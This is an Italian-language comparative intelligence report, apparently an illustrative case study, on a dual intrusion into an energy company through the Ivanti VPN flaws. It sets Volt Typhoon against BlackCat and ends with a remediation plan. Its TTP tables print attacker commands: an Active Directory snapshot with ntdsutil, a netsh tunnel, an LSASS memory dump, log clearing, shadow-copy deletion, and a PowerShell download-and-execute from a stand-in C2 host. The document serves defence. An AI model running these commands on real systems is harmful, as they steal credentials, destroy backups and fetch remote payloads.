COMPARATIVE INTELLIGENCE REPORT: OPERATION GLASS LABYRINTH

Classificazione: STRETTAMENTE RISERVATO TLP RED
Destinatari: CISO, Board of Directors, Incident Response Team
Soggetto: Analisi Comparativa Doppia Intrusione – EnergyGrid Italia S.p.A.

EXECUTIVE SUMMARY:

Alle 04.00 del 12 Febbraio 202X, **EnergyGrid Italia S.p.A.** è stata colpita da un attacco ransomware che ha paralizzato i sistemi SCADA. Tuttavia, l'analisi forense ha rivelato una realtà ben più grave: l'azienda è vittima di una **"Doppia Intrusione"**. Due attori distinti, con obiettivi radicalmente diversi, hanno sfruttato la stessa vulnerabilità (CVE-2023-46805 / CVE-2024-21887) sui gateway VPN Ivanti per penetrare nell'infrastruttura.

Gli Attori Coinvolti sono: **Attore B Volt Typhoon** genere di attore APT (Advanced Persistent Threat) di matrice statale (Cina). È entrato 10 giorni prima ovvero il 02 Febbraio 202X del ransomware, operando in totale silenzio. Il suo obiettivo non è il denaro, ma il **pre-posizionamento strategico** per il sabotaggio della rete elettrica nazionale. **Attore A BlackCat** è un gruppo criminale motivato dal profitto. Ha introdotto il ransomware per estorcere 5 milioni di dollari. È il "rumore" che sta attualmente impegnando i team di ripristino

1. CVE Analysis:

L'attacco non ha sfruttato un errore umano (come il phishing), ma una falla strutturale nei gateway **Ivanti Connect Secure (ICS)**. Il successo dell'intrusione deriva dal concatenamento (*chaining*) di due vulnerabilità critiche:

CVE-2023-46805 (Authentication Bypass): Questa falla permette a un utente malintenzionato di bypassare completamente i controlli di identità della VPN. In termini semplici, l'attaccante ha convinto il sistema di essere un amministratore autorizzato senza dover inserire alcuna password o token MFA.

CVE-2024-21887 (Command Injection): Una volta "dentro", questa seconda vulnerabilità permette di inviare comandi direttamente al cuore del sistema operativo del gateway.

La cronologia degli eventi rivela una dinamica classica della Cyber Threat Intelligence:
L'Accesso di Volt Typhoon (02 Febbraio): È avvenuto quando la vulnerabilità era ancora in una fase di "sfruttamento mirato". L'attore statale conosceva la falla prima di molti altri (Zero-Day o Near-Zero-Day) e l'ha usata con precisione chirurgica per infiltrare un target strategico come EnergyGrid.

L'Accesso di BlackCat (12 Febbraio): È avvenuto dopo la diffusione pubblica dei dettagli tecnici. Una volta che i ricercatori di sicurezza hanno pubblicato come replicare l'exploit, i gruppi criminali hanno lanciato scansioni automatiche su scala globale. EnergyGrid, non avendo ancora applicato le patch o le contromisure necessarie, è stata rilevata dai loro bot come "frutto a portata di mano".

2. Analisi TTP & Log Comparison

La distinzione tra i due attori non è solo teorica, ma è scritta nel codice dei comandi catturati.

Caratteristica	**Attore B (Volt Typhoon)**	**Attore A (BlackCat/ALPHV)**
Obiettivo	Spionaggio e Sabotaggio Strategico.	Estorsione Finanziaria (Ransomware).
Persistenza	**Living off the Land (LotL)**: usa comandi di sistema per non farsi rilevare dagli antivirus.	**Malware-based**: scarica file esterni per prendere il controllo totale.
Log Eseguito	wmic process call create "ntdsutil 'ac i ntds' 'ifm' 'create full c:\temp\snap' q q"	powershell -enc JABz... (Base64 per scaricare Cobalt Strike Beacon).
Movimento Laterale	**Tunneling Silenzioso**: devia il traffico su porte standard (es. 8080) per sembra-	**Beaconing Aggressivo**: contatta costantemente il server di comando (C2) per

Caratteristica	Attore B (Volt Typhoon)	Attore A (BlackCat/ALPHV)
	re traffico web.	ricevere istruzioni.
Log Eseguito	netsh interface portproxy add v4tov4 listenport=8080 connectaddress=10.0.0.5 connectport=3389	IEX (New-Object Net.WebClient).DownloadString('http://malicious-c2.com/payload.ps1')
Accesso Credenziali	**Snapshot AD**: scarica l'intero database delle password per craccarle offline con calma.	**Dumping Memoria**: ruba le password dalla memoria RAM per usarle immediatamente.
Log Eseguito	*(Vedi comando ntdsutil sopra)*	procdump.exe -ma lsass.exe lsass.dmp
Evasione / Log	**Pulizia Chirurgica**: cancella solo i log di sicurezza per non lasciare tracce del suo passaggio.	**Distruzione Totale**: inibisce il ripristino eliminando i backup (Shadow Copies).
Log Eseguito	wevtutil cl Security	vssadmin delete shadows /all /quiet
Impatto Finale	**Dormiente**: resta nel sistema per anni, pronto a spegnere la luce in caso di ordine superiore.	**Distruttivo**: cripta i file e rende i server inutilizzabili.

Caratteristica	Attore B (Volt Typhoon)	Attore A (BlackCat/ALPHV)
Log Eseguito	*Nessun log (Silence operativo)*	encryptor.exe --path C:\ --safe-mode

Come possiame vedere:

Attore B Volt Typhoon : Entra in punta di piedi. Utilizza un nodo Tor per mascherarsi e lancia un comando di ricognizione nativo (; net user /domain) solo per mappare i privilegi. Non scarica nulla: sfrutta ciò che trova già nel sistema per non far scattare gli alert sui file sconosciuti.

Attore A BlackCat : Entra con forza bruta da una VPS nota. Il suo primo comando è un curl per scaricare l'eseguibile del ransomware. È una tecnica "malware-heavy" che punta alla velocità, accettando il rischio di essere rilevato dall'antivirus.

Movimento Laterale e Persistenza

Qui la differenza tra "spia" e "criminale" è netta.

Volt Typhoon crea un tunnel invisibile usando il comando netsh interface portproxy. Trasforma il server in un ponte per muoversi verso altri computer della rete (es. verso la rete SCADA) facendo sembrare il traffico normale attività web (porta 8080).

BlackCat usa PowerShell offuscato (-enc JABz...) per caricare in memoria **Cobalt Strike**, uno strumento che invia continui "battiti" (beaconing) a un server esterno. È estremamente efficace per il controllo remoto ma molto visibile ai sistemi di monitoraggio della rete.

3. Gestione delle Credenziali

L'approccio della Spia: Utilizza ntdsutil per creare una copia completa del database di Active Directory. Questo permette di rubare tutte le identità aziendali in un colpo solo e analizzarle con calma su server esterni. È una mossa per garantire l'accesso per i mesi o gli anni a venire.

L'approccio del Criminale: Punta al dumping della memoria lsass.exe. Gli servono le password subito per poter diffondere il ransomware nel minor tempo possibile a tutti i PC dell'ufficio.

Difesa ed Evasione

Volt Typhoon è chirurgico: usa wevtutil cl Security per cancellare selettivamente le tracce del suo accesso, cercando di far sembrare che non sia mai successo nulla.

BlackCat è distruttivo: usa vssadmin delete shadows per eliminare i backup locali (Shadow Copies). Non gli interessa nascondersi, gli interessa che l'azienda sia impossibilitata a ripristinare i dati senza pagare il riscatto.

I Profili dei Responsabili

Attore A: BlackCat / ALPHV (Cyber-Crime Organizzato)

L'attribuzione a BlackCat è supportata da evidenze tecniche inconfutabili:

Strumentazione: L'uso del binario encryptor.exe con parametri specifici come --safemode è una firma nota di questo gruppo Ransomware-as-a-Service (RaaS).
Logica del Profitto: L'uso di una "Bulletproof VPS" (194.169.x.x) e la richiesta di riscatto immediata sono tipici di attori russi o dell'Est Europa che operano per pura estorsione finanziaria.
Aggressività: L'uso di vssadmin per distruggere i backup riflette una mentalità criminale che punta a mettere la vittima "con le spalle al muro" nel minor tempo possibile.

Attore B: Volt Typhoon (State-Sponsored / Cina)

L'attribuzione a Volt Typhoon (noto anche come Vanguard Panda o Bronze Silhouette) è dedotta dalla raffinatezza della tecnica:

Obiettivo Strategico: Il targeting di un gestore di rete elettrica (**EnergyGrid**) è coerente con la missione di Volt Typhoon: infiltrarsi nelle infrastrutture critiche occidentali per fini di sabotaggio geopolitico.
Stealth (Living off the Land): La totale assenza di malware durante i primi 10 giorni è il loro marchio di fabbrica. Utilizzano comandi legittimi (netsh, wmic, ntdsutil) per confondersi con l'attività degli amministratori di sistema italiani.

Pre-posizionamento: Il furto del database delle password (ntdsutil) non serve per estorcere denaro, ma per mantenere un "accesso di riserva" silente, attivabile solo in caso di crisi internazionale.

L'analisi della **Strategic Threat** rivela che il vero pericolo non è ciò che è già accaduto (il blocco dei sistemi), ma ciò che potrebbe accadere in futuro a causa della presenza dell'Attore B.

4. Strategic Threat: Il Rischio Geopolitico

Sabotaggio "On-Demand": A differenza dei criminali di BlackCat, **Volt Typhoon** non vuole i soldi. Il loro obiettivo è mantenere una "testa di ponte" dormiente. In caso di tensioni geopolitiche, l'accesso che hanno ottenuto oggi potrebbe essere utilizzato per scatenare un blackout coordinato o sabotare la distribuzione elettrica nazionale.

Compromissione Permanente della Fiducia: Avendo esfiltrato il database ntds.dit, l'attore statale possiede le credenziali di ogni utente. Questo trasforma l'intera rete aziendale in un ambiente non più affidabile. Finché non verrà eseguito un reset totale e una bonifica profonda, ogni comando amministrativo potrebbe essere impartito dall'attaccante.

L'Effetto "Esca": Il ransomware di BlackCat funge da diversivo involontario. Se il team di sicurezza si dichiara soddisfatto dopo aver ripristinato i dati dai backup, Volt Typhoon avrà vinto. La loro strategia si basa proprio sulla capacità di sopravvivere ai normali processi di Incident Response.

Per gestire questa crisi, dobbiamo operare su due binari paralleli: **contenere l'emergenza ransomware** (Attore A) e **eradicare la presenza silente** dello stato-nazione (Attore B). Ignorare il secondo significherebbe lasciare le chiavi di casa in mano a una potenza straniera.

Piano di Intervento Immediato

Bonifica delle Identità (Critical)

L'Attore B ha rubato il database ntds.dit, il che significa che possiede tutti gli hash delle password.
Double Kerberos Reset: È necessario resettare due volte la password dell'account KRBTGT. Questo invalida tutti i ticket di autenticazione esistenti che l'attaccante potrebbe usare per rientrare.
Reset Globale delle Password: Imporre il cambio password per ogni singolo utente, con particolare priorità per gli amministratori di dominio e gli operatori dei sistemi SCADA.

MFA Hardening: Verificare che l'autenticazione a due fattori sia attiva ovunque e non sia stata bypassata tramite la creazione di "eccezioni" o nuovi dispositivi autorizzati dagli attaccanti.

Eradicazione della Persistenza "Living off the Land"

Volt Typhoon non usa virus, usa i vostri stessi strumenti.
Audit dei Tunnel di Rete: Eseguire il comando netsh interface portproxy show all su tutti i server critici. Se compaiono reindirizzamenti verso IP interni o porte sospette (come la 8080 o 3389), eliminarli immediatamente.

Verifica Task Schedulati: Controllare la creazione di nuovi task pianificati o servizi di sistema nati tra il 02 e il 12 febbraio.

Pulizia delle Web Shell: Ispezionare le directory pubbliche del gateway Ivanti e dei server web interni per file .asp o .php sospetti che potrebbero fungere da backdoor.

Isolamento e Segmentazione (Rete OT/SCADA)

Dobbiamo assicurarci che l'infezione della rete ufficio non raggiunga i sistemi che controllano l'energia elettrica.
Air-Gap Logico: Isolare temporaneamente la rete di produzione (OT) da quella aziendale (IT).

Analisi del Traffico Esterno: Monitorare connessioni in uscita verso IP insoliti o nodi Tor, segno che i "beacon" dell'attaccante stanno ancora tentando di comunicare con il comando centrale.

Patching e Hardening del Gateway Ivanti

Aggiornamento Firmware: Applicare immediatamente le patch ufficiali fornite da Ivanti per le CVE-2023-46805 e CVE-2024-21887.

Fabbrica di Default: Nei casi più gravi di compromissione del gateway, la raccomandazione è il **factory reset** completo del dispositivo prima di reinstallare il firmware aggiornato, per eliminare eventuali script annidati nelle partizioni di sistema.

Cosa fare nelle prossime 24 ore

Ripristino dei backup: Se ripristini un server ma non cambi le password, l'attaccante rientrerà in pochi minuti.

Monitoraggio EDR: Impostare alert specifici per l'uso di ntdsutil.exe, vssadmin.exe e wevtutil.exe. In una rete sana, questi strumenti non dovrebbero essere usati frequentemente.

Analisi Forense: Conservare i log della VPN Ivanti prima che vengano sovrascritti; sono la prova legale per l'attribuzione e la notifica alle autorità (CNAIPIC / Agenzia per la Cybersicurezza Nazionale).